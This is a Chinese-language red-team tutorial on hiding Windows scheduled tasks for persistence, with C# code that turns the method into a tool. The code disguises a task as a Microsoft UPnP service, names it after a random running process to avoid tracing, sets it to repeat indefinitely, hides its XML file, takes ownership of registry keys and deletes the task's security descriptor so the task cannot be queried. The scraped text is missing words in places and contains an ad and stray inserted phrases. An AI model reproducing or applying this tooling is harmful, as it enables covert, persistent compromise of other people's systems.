本文僅用于技術討論與學習,利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。
只供對已授權的目標使用測試,對未授權目標的測試作者不承擔責任,均由使用本人自行承擔。
文章正文
本文闡述計劃任務在系統中的隱藏方式及工具化的轉換。
前言
計劃任務作為持久化的機制之一,也被用在紅隊行動中。但常見的利用方法在被安全軟件阻斷的同時,也沒有達到隱藏效果,并提高了被發現的風險。所以,需要深入理解利用計劃任務,規避風險,達到持久控制。
隱藏創建計劃任務
at.exe 在 開始就棄用了,之后的系統都是使用 .exe 創建計劃任務。 比 at 更加強大, 使管理員能夠在本地或遠程計算機上創建、刪除、查詢、更改、運行和結束計劃任務。運行不帶參數的 .exe 將顯示每個已注冊任務的狀態和下次運行時間。
更多查看 文檔
schtasks?/Create?
[/S?system?[/U?username?[/P?[password]]]]
[/RU?username?[/RP?[password]]?/SC?schedule?[/MO?modifier]?[/D?day]
[/M?months]?[/I?idletime]?/TN?taskname?/TR?taskrun?[/ST?starttime]
[/RI?interval]?[?{/ET?endtime?|?/DU?duration}?[/K]?
[/XML?xmlfile]?[/V1]]?[/SD?startdate]?[/ED?enddate]?[/IT]?[/Z]?[/F]
命令行
schtasks?/create?/tn?TestSchtask?/tr?C:\Windows\System32\cmd.exe?/sc?DAILY?/st?13:00:00
XML 文件
計劃任務一旦創建成功,將會自動在%%\\Tasks目錄生成一個關于該任務的描述性 XML 文件,包含了所有的任務信息。
運行.msc,同時可以在任務計劃程序看到剛才所創建的任務,處在程序庫的根目錄下。
注冊表
在 XP 時,計劃任務注冊表路徑為
計算機\HKEY_LOCAL_MACHINE\Software\Microsoft\SchedulingAgent\
以后變成
計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows?NT\CurrentVersion\Schedule\
以 10 為例,查看剛才所創建任務計劃的鍵值,路徑:計算機\\\\ NT\\\\Tree\
Id{GUID},任務對應的guid編號。
Index一般任務值為3,其他值未知。
安全描述符,在中,每一個安全對象實體都擁有一個安全描述符,安全描述符包含了被保護對象相關聯的安全信息的數據結構,它的作用主要是為了給操作系統提供判斷來訪對象的權限。
【 經測試: 7 、 2008 無 SD 值、 10 有 SD 值 】
安全軟件阻止
如果主機存在安全軟件,計劃任務的創建會被阻止,命令行無法成功創建。(可通過計劃任務API繞過,工具化利用此點)
/ /tn "" /ru /tr C:\\\cmd.exe /sc /d mon /st 01:00
隱藏姿勢非完全隱藏
非完全隱藏一個計劃任務,通過修改\\\Tree下對應任務的 Index 值,一般情況下值為 3 。
Index 修改
以 10 為例,新建計劃任務cmd的高級安全設置中所有者為 ,默認無法更改注冊表鍵值。
更改所有者為 ,并賦予完全控制權限,才能修改注冊表鍵值。
當 Index 修改為 0 后, 利用.msc、.exe、甚至系統API查詢出的所有任務中,都查看不到所創建的任務。但如果知道該任務名稱,可以通過 /query /tn { Path}查到。
但在 2008 與 7 中,修改 Index 鍵值為 0 ,任務計劃程序中仍存在該任務。原因未知
XML 文件刪除
1.在 10 中,刪除 XML 文件,并不影響計劃任務的運行,且在.msc任務計劃程序中,依然存在對應任務;
2. 在 7 與 2008 中,若刪除 XML 文件,任務計劃程序中的對應任務也會被刪除,并且影響計劃任務的運行win10系統找不到指定文件,但注冊表中項值依然存在。
完全隱藏SD 刪除
這樣操作,無論何種方式 (排除注冊表) 都查不到該任務,較為徹底。因為 SD 就是安全描述符,它的作用主要是為了給操作系統提供判斷來訪對象的權限,但被刪除后,無法判斷用戶是否有權限查看該任務信息,導致系統直接判斷無權限查看。因此在使用 /query /tn \\\AppID\cmd查詢時,提示“錯誤: 系統找不到指定的文件”。
但經過測試, 7 、 2008 無 SD 值、 10 有 SD 值。
總結
計劃任務的隱藏并未絕對,因操作系統存在差異,最終實現的效果也不同。但作為持久化的機制之一,需要深入理解利用。
工具化
主要以計劃任務的代碼開發為主,將手工化轉變為工具化。
效果圖
【騰訊云】境外1核2G服務器低至2折,半價續費券限量免費領取!
實現步驟
1.選擇主機隨機進程名作為計劃任務程序文件名
2.將計劃任務程序文件復制到%%\\\\中
3.創建的計劃任務名取同一隨機進程名
4.計劃任務觸發器以分鐘為單位,無限期持續
5.更改 Index、刪除 SD 的鍵值,隱藏計劃任務對應的 XML 文件
6.刪除已添加的計劃任務
編寫代碼
編寫任務計劃的工具,需要用到任務計劃API:.Win32..dll。在 中,可以直接從NuGet程序包中安裝獲取。
當然,也可以從 中下載獲取。
隨機進程名
選擇主機隨機進程名,作為計劃任務程序文件名與計劃任務名,主要為了每次運行名稱都隨機,防止后續被溯源,并且取隨機進程名,也是一種隱匿。
//選擇主機隨機進程名
Process[]?progresses?=?Process.GetProcesses();
Random?random?=?new?Random();
string?randomname?=?(progresses[random.Next(progresses.Length)].ProcessName);
創建計劃任務
觸發器以分鐘為單位,無限期持續的運行所創建的計劃任務,主要是為了權限的持久性。如果說只運行一次或持續時間為一天,那對于權限的維持可以說是毫無意義。
計劃任務的創建沒有放在根路徑下,而是創建在\\\UPnP\路徑下,達到隱匿。
//創建計劃任務
public?static?void?CreateTask(string?randomname,?string?destinationFile,?string?min)
{
????TaskDefinition?td?=?TaskService.Instance.NewTask();
????td.RegistrationInfo.Author?=?"Microsoft";?//創建者
????td.RegistrationInfo.Description?=?"UPnPHost?Service?Settings";?//描述
????//計劃任務運行時間?Min/無限期
????double?time?=?double.Parse(min);
????TimeTrigger?tt?=?new?TimeTrigger();
????tt.StartBoundary?=?DateTime.Now;
????tt.Repetition.Interval?=?TimeSpan.FromMinutes(time);
????td.Triggers.Add(tt);
????td.Actions.Add(destinationFile,?null,?null);
????string?taskpath?=?@"\Microsoft\Windows\UPnP\"?+?randomname;
????TaskService.Instance.RootFolder.RegisterTaskDefinition(taskpath,?definition:?td,?TaskCreation.CreateOrUpdate,?null,?null,?0);
}
隱藏計劃任務XML 文件隱藏
文中已經說過:
1.在 10 中,刪除 XML 文件,并不影響計劃任務的運行,且在.msc任務計劃程序中,依然存在對應任務;
2. 在 7 與 2008 中,若刪除 XML 文件,任務計劃程序中的對應任務也會被刪除,并且影響計劃任務的運行。
為了程序的可用性,這里只能將 XML 文件進行隱藏,而不是刪除。
//隱藏?%SystemRoot%\System32\Tasks?下計劃任務對應的?XML?文件
public?static?void?HidXml(string?taskpath)
{
????string?xml?=?$@"C:\Windows\System32\Tasks"?+?taskpath;
????FileInfo?info?=?new?FileInfo(xml);
????if?(info.Exists)
????{
????????info.Attributes?=?FileAttributes.Hidden;
????????Console.WriteLine($"[*]?Hidden?task?xml?file:?\n{xml}");
????}
}
Index 修改
通過修改HKLM\\\ NT\\\\Tree\{}下對應任務的 Index 值為 0后,利用.msc、.exe、API 都查看不到所創建的任務。
首先需要更改注冊表對應計劃任務項值的高級安全設置中的所有者。在未獲取特權模式下,工具運行后提示“拒絕訪問”,這顯然是權限不足。
可以使用 類,從而獲取特權模式。這就需要在項目中添加一個新的C#類,之后在頭部using .Utils;。
try
{
????TokenManipulator.AddPrivilege("SeRestorePrivilege");
????TokenManipulator.AddPrivilege("SeBackupPrivilege");
????TokenManipulator.AddPrivilege("SeTakeOwnershipPrivilege");
????var?subKey?=?Registry.ClassesRoot.OpenSubKey(@"AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}",?RegistryKeyPermissionCheck.ReadWriteSubTree,?RegistryRights.TakeOwnership);
????//?code?to?change?owner...
}
finally
{
????TokenManipulator.RemovePrivilege("SeRestorePrivilege");
????TokenManipulator.RemovePrivilege("SeBackupPrivilege");
????TokenManipulator.RemovePrivilege("SeTakeOwnershipPrivilege");
}
獲取特權模式后,更改注冊表項值的所有者為 ,同時要更改注冊表項值的權限,這才能對 Index 進行修改操作。
//更改注冊表項值的所有者
RegistryKey?subKey?=?Registry.LocalMachine.OpenSubKey(regpath,RegistryKeyPermissionCheck.ReadWriteSubTree,?RegistryRightsTakeOwnership);
RegistrySecurity?rs?=?new?RegistrySecurity();
//設置安全性的所有者為Administrators
rs.SetOwner(new?NTAccount("Administrators"));
//為注冊表項設置權限
subKey.SetAccessControl(rs);
//更改注冊表項值的權限
RegistryAccessRule?rar?=?new?RegistryAccessRule("Administrators",RegistryRights.FullControl,?AccessControlType.Allow);
rs.AddAccessRule(rar);
subKey.SetAccessControl(rs);
subKey.Close();
SD 刪除
SD 鍵值的刪除,是計劃任務完全隱藏項之一,當然要排除在注冊表中查看。但經過測試, 7 、 2008 無 SD 值、 10 有 SD 值。所以就要做 if 的判斷,以免程序報錯。
//判斷SD鍵值是否存在(Win7?與?win2008?無SD)
public?static?void?RegeditKeyExist(string?regpath)
{
????string[]?subkeyNames;
????RegistryKey?sd?=?Registry.LocalMachine.OpenSubKey(regpath,?true);
????subkeyNames?=?sd.GetValueNames();
????foreach?(string?keyName?in?subkeyNames)
????{
????????if?(keyName?==?"SD")
????????{
????????????sd.DeleteValue("SD");
????????????sd.Close();
????????????return;
????????}
????}
????sd.Close();
????return;
}
刪除計劃任務
修改注冊表中的鍵值 Index 與 SD 后,任務計劃程序中就查看不到該任務。通過也無法查到此任務,就無法刪除所創建的計劃任務。
所以,為了工具的完整性win10系統找不到指定文件,刪除代碼只做參考,并未引用到程序中。
//刪除計劃任務?(需要管理員權限)
public?static?void?DeleteTask(string?taskname)
{
????//不要寫成?"\Microsoft\Windows\UPnP\"?—?報錯?—?找不到
????string?taskpath?=?@"\Microsoft\Windows\UPnP";
????//獲得計劃任務
????TaskService?ts?=?new?TaskService();
????TaskCollection?tc?=?ts.GetFolder(taskpath).GetTasks();
????//Console.WriteLine($"{tc}");
????if?(tc.Exists(taskname))
????{
????????string?dtask?=?taskpath?+?"\\"?+?taskname;
????????ts.RootFolder.DeleteTask(dtask);
????????Console.WriteLine("\n[+]?Successfully?delete?scheduled?task?!");
????}
????else
????{
????????Console.WriteLine("\n[!]?Please?add?scheduled?task?!");
????}
}
DLL文件打包到EXE
引用的.Win32..dll并不能直接編譯到程序中,每次運行就需要 .exe 與.Win32..dll在同一目錄下,否則運行就會報錯。
可以使用將 .Net 的 DLL 文件打包到 EXE 中,直接在 中使用 NuGet 程序包管理下載安裝即可。也可以使用-GUI圖形化版本打包,更加方便。
程序打包后,在 中利用-可以成功在內存中加載運行。